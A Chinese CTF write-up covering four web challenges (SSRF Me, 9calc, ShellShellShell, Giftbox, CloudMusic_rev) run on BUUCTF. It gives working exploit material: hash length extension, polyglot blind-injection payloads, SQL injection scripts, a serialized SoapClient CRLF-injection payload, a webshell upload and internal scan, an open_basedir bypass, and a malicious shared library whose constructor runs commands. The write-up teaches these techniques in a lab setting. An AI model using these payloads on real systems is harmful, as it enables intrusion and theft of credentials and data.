之前各种比赛还有开发拖了一堆时间,鸽到了现在才写完Orz
Xman期间的一场国际赛,有自己学校大佬出的题于是去做了一波,感觉好多原题。但我还是要说一句BUUCTF牛逼!
SSRF Me
先读读源码
1 | @app.route('/') |
/读取直接给源码
1 | @app.route("/geneSign", methods=['GET', 'POST']) |
1 | def getSign(action, param): |
/geneSign提供key+param+”sacn”的md5值
1 | @app.route('/De1ta',methods=['GET','POST']) |
1 | def waf(param): |
/De1ta是这题的关键,获得param,sign,action后,waf检测是否有gopher和file,这里就不能用这两个协议读了
1 | class Task: |
1 | def scan(param): |
然后是这个Task类,可以看到根据ip生成了沙盒防止互相读取。然后exec()中会检查key+param+action
的md5值是否与sign值相等,相等若action为scan则读取param对应的文件并写入result.txt。为read时则将result.txt读出
那思路就很清晰了,用scan读取flag,然后哈希拓展绕过检查再read读出flag
但是做题时一直在想gopher和file这些协议被过滤了,有什么其他协议能用。做到后面发现urlopen其实可以用flag.txt打开当前目录下的文件,测试了几下,好像没用上任何协议时,会默认用file协议读
接下来就好搞了,用/geneSign?param=flag.txt
获取哈希值然后访问/De1ta?param=flag.txt
,cookie:action=scan
读取flag。然后再用/geneSign
一波获取哈希值,接着哈希长度扩列获得scan%80%00.....%a0%00...read
的哈希值
1 | #!/usr/bin/env python |
但是发现param传%7f以上会导致服务器问题(应该是get请求的问题),懵逼了好久发现action只是检测存在并不是相等,于是cookie一波拿flag
1 | # -*- coding:utf-8 -*- |
然后看到有其他大佬用了load_file:xxx
这样去读
还有最牛逼的操作就是/geneSign?param=flag.txtread
拿一波哈希值,然后/De1ta?param=flag.txt
,cookie:action=readscan
,这样就能不用哈希长度扩列。然后可以看到scan和read的if并不是连在一起的,是分开判断的,也就是说能同时触发这两个。然后一波就那道flag了【跪
不过这题本意是要用CVE-2019-9948
这个漏洞来解的,有时间再看看吧
9calc
这题是RCTF的calcalcalc的修补版,估计也是zsx师傅一开始的预期解吧。这次对ts部分是怎么运作更加了解了,补一下RCTF那留下的坑
首先是main.ts
1 | app.useGlobalPipes(new ValidationPipe({ |
主要关注这部分代码,设置了全局验证功能
然后就是最重要的app.controller.ts的calculate部分
1 | @Post('/calculate') |
这里将@Body,也就是req.body给传入了calculateModel中
1 | export default class CalculateModel { |
然后calculateModel中的expression就被赋予了post过来的expression的值,然后就是验证器
1 | export function ExpressionValidator(property: number, validationOptions?: ValidationOptions) { |
这个验证器的目标只是用来验证一个数据的,因此value:any
得到的值便是expression的值。然后可以看到相较calcalcalc,这里的正则少了()
,这也就防止了之前的非预期解
回到app.controller.ts上
1 | const serializedBson = bson.serialize(calculateModel); |
接下部分的代码,将calculateModel进行bson序列化,然后分别发向三个部署在内网的程序,继而获得响应再将其反序列化赋给p
接着再将p进行json序列化后并去重(这里其实不太懂到底是所有结果都在p中然后被序列化,还是三个结果各自被序列化后放在一个数组。不过去重是对数组感觉像是后者,但代码上看起来又不是,一个p被赋三个值感觉不太对。先留个坑日后用nestjs试试看Orz)。去重结果也就是set.size
为1时返回数据,否则报错
之前在calcalcalc用isVips绕长度限制时没说清楚,能够用json传值然后赋给isVip是因为express的默认解析是支持json的,这点去查看文档就能看到
2.x版本的
4.x版本的
读源码可看出
因此接收到的json格式的数据能够传入calculateModel,把isVip的值给覆盖成功绕过长度限制
长度绕过后就是这个令人头大的正则,由于少了()
不能通过双eval去盲注,只能想办法绕过这个正则
这里要利用js将json类型处理为字符串时,会处理为[Object Object]
只要我们传入的expression为json类型,toString()后就会变为[Object Object]
,从而绕过正则检验。当然这里对原数据是没影响的,本来就没有在原数据上进行操作
但有个问题在于,在nodejs端
1 | app.post('/', (req, res) => { |
可以看到对传入的数据进行了toString(),导致数据不能使用。而这题将flag放在的三处,无法忽略掉这个问题
绕过这里需要利用mongoDB对bson反序列化时的一个特性
js-bson/lib/parser/serializer.js
1 | else if (value['_bsontype'] === 'Binary') { |
读源码可以看出在bson数据在进行反序列化时,会根据对象中_bsontype的值,将对象的value转化为对应的类型
假如一个bson序列化字符串为{'a':{'value':'xxx','_bsontype':'Binary'}}
那么在反序列化后,a就会被强制转为二进制类型,值依旧为xxx
利用这点进行测试,会发现当类型为Symbol时能够绕过,于是利用构造payload
payload很巧妙的利用了php,python和nodejs在单行和多行注释上的不同,大佬们实在tql
打python
1 | 1//1 and ord(open('/flag').read()[0]) > -1 and 1\n |
php和nodejs由于注释恒为1,python由于//为除号继续运行,根据读出的值条件是否正确返回1或false。为1时显示正常,false则报错,以此盲注
打php
1 | len('1') + 0//5 or '''\n//?>\n1;function len(){return 1}/*<?php\nfunction len($a){echo MongoDB\\BSON\\fromPHP(['ret' => file_get_contents('/flag')[0] == '0' ? "1" : "2"]);exit;}?>*///''' |
在python中,由于'''
为多行注释,于是无视\n的分行,直接注释到结尾,只剩下len('1') + 0//5 or
部分,结果恒为1(不知道为啥不跟后面的注释就会报错,但跟上的后面的注释就能成功的输出1,这也在大佬们的计算中吗!
在nodejs中,//为单行注释,于是\n后的部分便不再注释范围内。而/**/为多行注释于是执行的代码就只剩下
1 | len('1') + 0 |
执行结果恒为1
在php中,同样//为单行注释,这里还利用了<?php?>直接将外部的代码无视掉,于是执行的代码就是
1 | return len('1') + 0?> |
由于是结尾,于是可以不使用;。然后定义了len函数读取比较,当值相等时返回1,否则返回2,于是与python盲注同理
这里其实觉得不用bson序列化也行,毕竟后面还有一个序列化再输出的
打nodejs
1 | 1 + 0//5 or '''\n//?>\nrequire('fs').readFileSync('/flag','utf-8')[0] == '0' ? 1 : 2;//''' |
这条不是官方的payload,不过我觉得没必要再给php专门写个open(),有点多余
在python下1 + 0//5 or
直接输出1,在php下1 + 0
也是输出1
在nodejs下,这剩下的代码为
1 | 1 + 0 |
总觉得这个会返回前面的恒为1,而不是后面那个,感觉不太靠谱的亚子
然后把payload放入传输的数据中,写脚本盲注即可{'expression':{'value':'payload','_bsontype':'Symbol'},'isVip':true}
1 | # -*- coding: UTF-8 -*-、 |
ShellShellShell
进入是个葛优瘫的登录界面,有个md5截断,用脚本跑一下就ok
登陆进去后能发送消息,不过好像只能自己看到不太像xss。然后尝试php://filter
被过滤了,接着尝试各种源码泄露,发现了swp的泄露
于是拿下源码,恢复一下.index.php.swp
1 | <?php |
可以看到实例化了一个Customer类,并且只允许几个白名单的字符串,同时引入了ues.php
于是拿一下user.php的源码
1 | require_once 'config.php'; |
可以看到有一个Customer类,同时又引入了一个config.php,继续拿
再config.php中可以看到,用了全局过滤
1 | function addslashes_deep($value) |
这就有点不好搞了
拿到这几个源码后,再去试试看能不能取到发布消息和显示消息页面,网站的主要功能是这两个,漏洞可能也在这里
尝试了几次后发现/view/publish.swp
和/view/index.swp
能够拿到源码
先看publish部分
1 | if($C->is_admin==0) { |
1 | else{ |
当是非admin,差别是有否文件上传的功能,那应该就是要想办法去登录admin账号
先继续看publish()
1 | function publish() |
调用了insert(),继续读
1 | private function get_column($columns){ |
可以看到用了get_column()对值进行了处理,在各值两侧加上反引号。然后由于是用来处理列的,于是处理值是要对值将`转为’。/`([^`,]+)`/
这个表达式匹配的是,两个反引号间不存在`和,的字符串。\'${1}\'
则是将两端的`替换为’
这顿操作就提供了注入的可能,由于反引号是不会被addslashes()转义,就可以用thx经处理后转为’,然后注释掉后面的数据即可。比如像a`)#
,经get_column后为`a`)#`
,再进过正则就转为了'a')#`
,成功逃逸出来。不过想想有了这个就算没看到前面那个全局过滤好像也没啥影响
看官方wp是用盲注注出来的,不过既然有回显就没必要盲注那么麻烦,而且连sql语句的结构都知道了,可以构造一下直接回显注入出来
payload(两端要有空格):
1 | `+(select conv(substr(hex((select password from ctf_users where username = `admin`)),1,10),16,10))+` |
脚本手工都行,不过每段要分开十进制转16进制,然后再合并起来16进制转字符串。md5解密一下即可
不过比赛时可能是出了bug,直接刷着刷着就刷出了密码
然后登录一下
提示需要常用的ip,八成是要本地地址才行,尝试改了一下X-Forward-For不行,那估计就是要soap类了
看源码index.php允许action中传入phpinfo,于是看一下phpinfo,发现确实有soap类可以使用
那接下来就是要找一个反序列化的点
在publish()中可以看到
1 | $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip()))); |
mood类被序列化后存入了数据库,那在取出时应该需要进行反序列化。于是去index页面看看$data = $C->showmess();
调用了showmess()$mood = unserialize($row[2]);
在showmess()中也确实找到了将取出的数据进行了反序列化,那么要利用的点就在这里
看代码可以知道,无论怎么控制mood的值,都是无法产生soap类。那就只能继续利用signature,将后面的mood给覆盖掉
于是要构造一个soap对象,cookie中有PHPSESSID,数据包含用户名、密码和验证码。通过一个用户发送读取消息,让另一个PHPSESSID的用户登录admin账户
之前比赛的时候只是用了下,没用认真研究soap类的请求是什么样的,这里就分析一下
查php手册可以看到,构造函数中有两个参数
第一个参数用来控制是否为wsdl模式,传入url为wsdl,传入null则不为wsdl模式
当不为wsdl模式时,必须在option数组中设置location和uri。而且当为wsdl模式时会受到wsdl文件的限制(这是啥???),那自然要选择非wsdl模式
在选择非wsdl模式后,有以上这几个参数可以放入option
接下来尝试一下发个soap请求,看看具体的报文内容是什么样的
1 | $a = new SoapClient(null,array('location' => "http://ip:port",'uri' => "123")); |
这里要反序列化后调用个方法,不然发不出报文(不太懂为啥
然后监听一下端口
可以看到soap发出的数据是以xml的方式发送的,但要post数据的话,需要将Content-Type
设成application/x-www-form-urlencoded
这里就要利用option中的user_agent参数,可以看到User-Agent是在Content-Type之上的,可以通过设置User-Agent往头部注入各种想要构造的信息
1 | $a = new SoapClient(null,array('user_agent' => "test\r\nCookie:PHPSESSID=123456\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:100\r\n\rxxx=xxx"'location' => "http://ip:port",'uri' => "123")); |
这里往user_agent中放入了Cookie,Content-Type,Content-Length以及post的数据,由于User-Agent在上方,直接将下面的数据给覆盖掉
再监听一次端口,可以看到对报文的注入成功了
于是针对这题修改一下
1 | <?php |
用xxx=将报文剩余部分作为xxx的值,以防万一
payload:
1 | signature=1`,`O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A39%3A%22http%3A%2F%2F127.0.0.1%2Findex.php%3Faction%3Dlogin%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A189%3A%22test%0D%0ACookie%3APHPSESSID%3Djtgn11ggnfgr2g7rcfbhk2c894%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AContent-Length%3A100%0D%0A%0D%0Ausername%3Dadmin%26password%3Djaivypassword%26code%3DomYcKyq1Vplp4vmwBtiw%26xxx%3D%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D`)#&mood=0 |
\n和\r不能少,不然会导致报文构造失败识别不到对应的数据,比赛时没注意到这么多导致有时能登录有时不能
登录成功后进入publish
传一句话木马扫了一下目录并没有找到flag,那应该是在内网的另一台主机上
于是先执行ifconfig查一下ip段
可以看到,这个站在内网的网段是172.64.164.0,于是传一个扫描脚本上去扫
1 | <?php |
这个脚本是在网上随便找的,凑合着用= =
扫到了好几个地址80端口开启,可能是BUU上其它题的端口?访问下.7附近的试试看先
在.8成功访问到,是个上传页面
1 | <?php |
要上传文件首先要先绕过这里。这里当filename非数组时,以.将filename分割,然后取数组最后一个与下标为长度减一的值比较,相等直接die
我们知道,当一个数组为关联数组时,count(array)-1
获得的下标是无法得到有效的值的。这里也是利用这点,我们处理一下报文,让文件名为一个关联数组,就能让$filename[count($filename) - 1]
的值无效,而end($filename)
依旧会取到最后一个数据,从而绕过这里
1 | -----------------------------1290214079214 |
大概像这样
还有一种解法是php并不是按数字排序的,所以也可以传一个['1'=>'xxx','0'=>'xx']
进行绕过
然后是下半部分,要想办法阻止unlink
这里有几种解法
利用php7的文件包含漏洞,当include('php://filter/string.strip_tags/resource=/etc/passwd')
时,php就会崩溃,继而不执行unlink
利用include('index.php')
包含自身,让php死循环崩溃。这样就能让文件保留在服务器上,然后再去跑new_name的值就行
还有一种方法是,既然ext的值是可以控制的,那我们可以构造一下,让ext为php/../xx.php
,这样我们就能够控制文件名,不需去爆破,直接在unlink前include就能获得内容
这里用最后一种解法,报文大概像这样
1 | ------WebKitFormBoundary7MA4YWxkTrZu0gW |
然后借用一下大佬们的脚本改改
1 | <?php |
然后找呀找呀,最终在etc中找到了flag
【我也想用find,然而会超时
Giftbox
这题当时打开没什么想法就放弃了,现在想想至少也要做到sql注入那里才对
打开是个很漂亮的前端页面,等了一下后提示输入help
提示了这几个命令,于是ls一下
读一下这几个
只有usage.md能读出来,其它两个看起来像文件夹然而进不去
接着login登不了于是抓下包
尝试发包但响应totp error
而直接通过浏览器发送的则正常返回
于是去看一下totp这个参数是做什么的
1 | url: host + '/shell.php?a='+encodeURIComponent(input)+'&totp=' + new TOTP("GAXG24JTMZXGKZBU",8).genOTP(), |
可以看到totp是由TOTP类生成
不太清楚totp是啥,于是查了一下后大概知道,totp则是基于时间的一次性口令。totp需要客户端与服务器时钟同步,同时共享密钥,否则会使客户端与服务器计算出来的动态口令不同验证失败。不过可以通过设置timeStep防止客户端与服务器由于难以避免的时间差导致的验证口令错误,但设置过大的话就失去了动态口令的意义
生成口令的算法是:
TOTP =Truncate(HMAC-SHA-1(K, (T - T0) / X))
这里的几个参数的意义是:
K是共享密钥(令牌种子)
T是一个整数,代表当前时间
T0是一个整数,代表一个时间点,一般为0
X口令变化周期,单位为秒,30秒或者60秒
那么前面那串GAXG24JTMZXGKZBU应该就是key了,8不清楚是什么试试看
可以看出是设置口令的长度
那还有X和T0这两个参数值要获得,于是去看看totop.min.js
1 | n(e, [ |
查找genOTP可以查到这里可以看到,当有传入参时,第一个参赋给t,第二个赋给r。无传入时,t的缺省值为5,r的缺省值为0
看下面n的计算式,可以看出t便是X,r便是T0
其实也可以从main.js中看出,如果知道totp的话,留意一下main.js中的注释
1 | /* |
可以看到这里给了默认的几个参数,并且提示服务器是使用python实现口令的验证
接着回去看login,这里没给什么信息,就试试看有没有像普通的登录一样有注入的问题
尝试了一下发现可以绕出,但万能密码不行,那估计是分离式登录了。那就从username处入手盲注,fuzz一波后发现并没有过滤什么,但是不能用空格,因为这是命令行,会导致认为是下一个参数
测试了一下可以盲注,于是上脚本
1 | payload: |
盲注脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73# -*- coding:utf8 -*-
import requests
import re
import time
import pyotp
import json
totp = pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval = 5)
url = "http://8015fb4f-e782-4e32-9aee-3464f7a149a0.node3.buuoj.cn/shell.php?a="
l1 = 0
r1 = 100
while(l1<=r1):
mid1 = (l1 + r1)/2
a = "login 'or((select(length(group_concat(password)))from(users))="+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))="+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))="+str(mid1)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
break
else:
a = "login 'or((select(length(group_concat(password)))from(users))>"+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(column_name)))from(information_schema.columns)where(table_name='users'))>"+str(mid1)+")or' 1"
# a = "login 'or((select(length(group_concat(table_name)))from(information_schema.tables)where(table_schema=database()))>"+str(mid1)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
l1 = mid1 + 1
else:
r1 = mid1 - 1
print mid1
k = ''
for j in range(mid1):
l2 = 0
r2 = 128
while(l2<=r2):
mid2 = (l2 + r2)/2
a = "login 'or(ascii(mid(((select(group_concat(password))from(users)))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from("+str(j+1)+")for(1)))="+str(mid2)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
break
else:
a = "login 'or(ascii(mid(((select(group_concat(password))from(users)))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
# a = "login 'or(ascii(mid(((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))from("+str(j+1)+")for(1)))>"+str(mid2)+")or' 1"
payload = url+a+"&totp="
http = requests.get(payload+str(totp.now()),timeout=5)
print payload+str(totp.now())
time.sleep(1)
content = json.loads(http.content)
if 'incorrect' in content['message']:
l2 = mid2 + 1
else:
r2 = mid2 - 1
k = k + chr(mid2)
print k
跑出
users
id,username,password
hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}
于是执行一下sh0w_hiiintttt_23333
执行后提示了launch的时候会调用eval,于是先登录一波调用一下
显示没有命令可以执行,于是看看md文件
应该是要用过targeting来写入,然后fuzz一下发现只能都限制了长度和0-9A-Za-z{}_$,感觉就很像沙盒逃逸
php的沙盒逃逸也是很好玩,比如像{$a}或${a}可以在字符串中获得对应变量的值
通过{$a(99)}调用对应函数
通过这样也能获得函数执行结果对应的变量的值
从这里可以想到,我们可以通过这种方式在字符串中使用eval,尽管没有返回值,但eval依旧是执行了
更多沙箱逃逸的骚操作可以看看这个
从一道题讲PHP复杂变量
先试一下
这里通过eval执行了命令,一开始不知道为什么会error。后来看了一下响应才发现执行的结果已经返回,但由于非json才error
然后尝试一下file_get_contents()取读/flag
并没有返回,应该是被限制了,执行看看phpinfo()
可以看到open_basedir限制了只能在app以及sandbox目录下
要绕过这里,可以利用open_basedir设置的一个缺陷,它虽然不能在设定的目录下修改,但可以在非设定的目录下修改。也就是说,只要不在/app和/sandbox目录下,我们就可以随意修改open_basedir的值
具体看一叶飘零师傅的分析
从PHP底层看open_basedir bypass
感觉需要一些pwn基础,纯web手先留坑了Orz
1 | payload: |
先进到img目录下将open_basedir设为..,然后一直返回上级目录到根目录(看phpinfo可以知道网站根目录在/var/www/html/
),将open_basedir设为/,然后读flag
其实在想为什么不能直接设为/,日后再研究研究底层看看吧
不过这里要拆分成一个个变量有点麻烦,可以用一个技巧——利用{代替[。这样就能用get传值进入,直接绕过过滤
像这样
脚本传个值进去后
命令就赋给了c,然后再执行一下
可以看到执行成功了
于是发送读取flag
CloudMusic_rev
进入是个山寨版网易云——滑稽云,当时看界面就知道是国赛决赛的题改,然而依旧没整出来
首先先注册登录,注册界面又是有一个麻烦的md5截断
然后看看前端的源码,在首页发现了一个接口
1 | <!-- TODO 2019-08-03 06:15:32 |
去掉注释进入,提示要admin账户,于是找找看有什么办法能登录admin
接着尝试一下上传,只允许mp3文件,检查了文件头,不太好利用
于是继续看share页面,发现很奇怪,有一首歌是加载不了的
看看源码,发现除了这首歌是通过/media/share.php?Y292ZXIvd2VsY29tZS5wbmc=
这个脚本获取图片,而其它歌都是直接读取/media/cover/
目录下对应的图片
看后面那串应该是base64于是解码一下得到cover/welcome.png
,然后取访问成功获得图片
那么shell.php有可能能够获取源码,于是尝试去获取index.php
base64一下访问,拿下来发现
1 | urldecode path:../index.php |
不允许.php,于是尝试一下urlencode,成功获得
1 | <?php |
于是去拿其它几个的源码,通过index.php只能找到top这几个php,但主体部分没有。于是进到hotload.js发现hotload.php,拿下来
1 | $whitelist=array('index','fm','mv','friend','disk','upload','share','favor','login','reg','feedback','firmware','search','logout','info'); |
可以看到主体部分的代码都在include里,于是全部拿下来审一下
在login.php中可以看到
$username==='admin'&&$password===$_GLOBALS['admin_password']
admin的密码是存在GLOBALS变量中的,于是去读config
$_GLOBALS['admin_password']=write_config(init_config('.passwd'));
可以看到密码是从通过write_config()
获得,再继续看init.php\
1 | function get_filename($ext){ |
可以看到.passwd只是个后缀名,文件名是16为的随机数,应该无法通过直接读取获得
于是对着全部源码搜一下$_GLOBALS['admin_password']
,发现只剩upload.php使用了
1 | $parser = FFI::cdef(" |
这里用FFI从/../lib/parser.so
中加载了parse方法,prase()
中需要传入三个参数:密码,类型和文件名。记得国赛时就是不会分析卡在了这Orz
下面是菜鸡web手第一次搞二进制文件,找了pwn师傅来指导【师傅实在tql
把so文件拿下来后ida打开,进到parse函数下
1 | void *__fastcall parse(__int64 a1, const char *a2, __int64 a3) |
先进入初始化init_proc()
看看
1 | void *init_proc() |
这里将mframe_data
指向mem_mframe_data
,passwd[0]
指向mem_mpasswd
接着读check_password()
,这个函数用来读取并检查输入的密码是否正确。主要看这个地方
1 | stream = fopen(&s, "r"); |
这里将取出的密码保存到了passwd[0]
指向的地址,也就是mem_mpasswd
。不过整个过程中仅有最后比较的时候使用了传入的a1
,没有什么可以插手的地方,应该利用不了
回到parse()
,下面判断classname是什么并分别进入不同函数
于是先进入read_title()
看看,这个函数应该是用来获取歌曲的title
1 | unsigned __int64 __fastcall read_title(__int64 a1) |
load_tag()
应该是将文件读取出来
1 | const char *__fastcall tag_get_title(__int64 a1) |
然后在tag_get_title()
返回TIT2(mp3头部记录作者的标签)的位置parse_text_frame_content()
猜测是将TIT2对应的起始地址+10(标签帧头长度),然后将赋给result
该位置的内容,也就是TIT2的内容数据。然后result
获得TIT2的大小(v3+1
的原因是第一位是用来记录是什么编码),判断是否大于0x70,大于直接返回result
。否则将TIT2的内容数据复制给mem_mframe_data
这里pwn师傅说一般碰到这种情况首先回去尝试一下边界值,结果也确实是可以,但还是分析一下原因
这里要利用的是off by null
,parse()
处最终是返回了mframe_data
的地址,也就是mem_mframe_data
我们查看一下可以看到mframe_data
地址在bbs段上的9390处
而mem_mframe_data
的地址在bbs段上的9320处
可以发现,两个数据的地址的差正好是0x70,也就是说只要mp3的大小大于0x70,就能够覆盖掉mframe_data
的指向地址,就可以控制返回的数据
但这里限制了大小为0x70,无法让mp3的数据大于0x70。这时就要利用一下strlen()
和strcpy()
对字符串的处理的一些细节。strlen()
虽然是遇到/x00停止计算长度,但不会将/x00计入长度之中;而strcpy()
则是会将/x00一同给复制。这样的结果就是,尽管strlen()计算的长度为0x70,但strcpy()
复制的长度为0x71,/x00就溢出到了mframe_data处
此时由于mframe_data
储存的是mem_mframe_data
的地址,而且是以小端保存,因此保存的地址会从9320修改成9300,然后看看9300处
正好是password保存的位置,于是将password读出返回了
这里pwn师傅说bbs段虽然并不是真实地址,但也是相对地址,因此修改最后几位依旧可以保证指向的地址正确
然后构造一个符合要求的mp3文件,要注意几点的是,需要有title artist album这
几个标签。同时对于要溢出的标签,大小不能只设为72(要计上编码和0x00),因为密码也要占用长度。所以可以将长度设大一些,然后在第72位的0x00后补足长度的字符即可
这是构造出来的mp3,TPE1的第72位为0x00,然后往后补足到了0xA1位
上传一下,成功获得密码,进入firmware界面
一个上传和调试的接口,回去读一下源码
1 | if (isset($_FILES["file_data"])){ |
上传部分会将文件保存为elf,那就是要上传一个so文件
1 | if (isset($path)){ |
调试部分则是会去获得文件的version,但只是返回固定的信息,,这里可以利用__attribute__((constructor))
。之前写C时没用过,不过看得出是个类似于构造函数的东西,实际上用途也是被设定为该属性的函数,会在main()
执行前执行【同时也有个类似析构函数的用法】
于是我们可以构造文件,让其中有一个函数为__attribute__((constructor))
。那么只要使用了这个文件,那就会执行函数得以RCE
先构造好文件,由于没有回显,那就将内容保存到web目录下。尝试了几次在uploads下那几个目录能写,web根目录和uploads目录是写不了的
先读一下根目录
1 | #include <stdio.h> |
然后编译为so文件,本来以为so文件可以gcc -c x.c -o x.so
这样生成,上传后一直用不了很懵逼。后来尝试去调试时才发现so要用动态文件的生成方式生成,记一下命令gcc x.c -fPIC -shared -o x.so
上传so,然后去计算文件的位置time()
的值可以通过抓包获取服务器的时间
$_SERVER['REMOTE_ADDR']
查看自己的公网ip即可
不过这里由于php7对mt_rand()
的算法有改动,所以要使用php7以上去生成
然后调试so文件
看到这样就是成功了
访问一下
flag在根目录,然后cat /flag > /var/www/html/uploads/firmware/flag.txt
发现什么都没读到,猜测可能是权限的问题,于是ls -l / > /var/www/html/uploads/firmware/ls-l.txt
确实不够权限去读取flag,需要找一个有suid权限的程序去读取。/usr/bin/tac
的权限为suid,而tac和cat不同的只是从最后一行读起而已。这里flag只有一行问题不大,于是/usr/bin/tac /flag > /var/www/html/uploads/firmware/getflag.txt
得到flag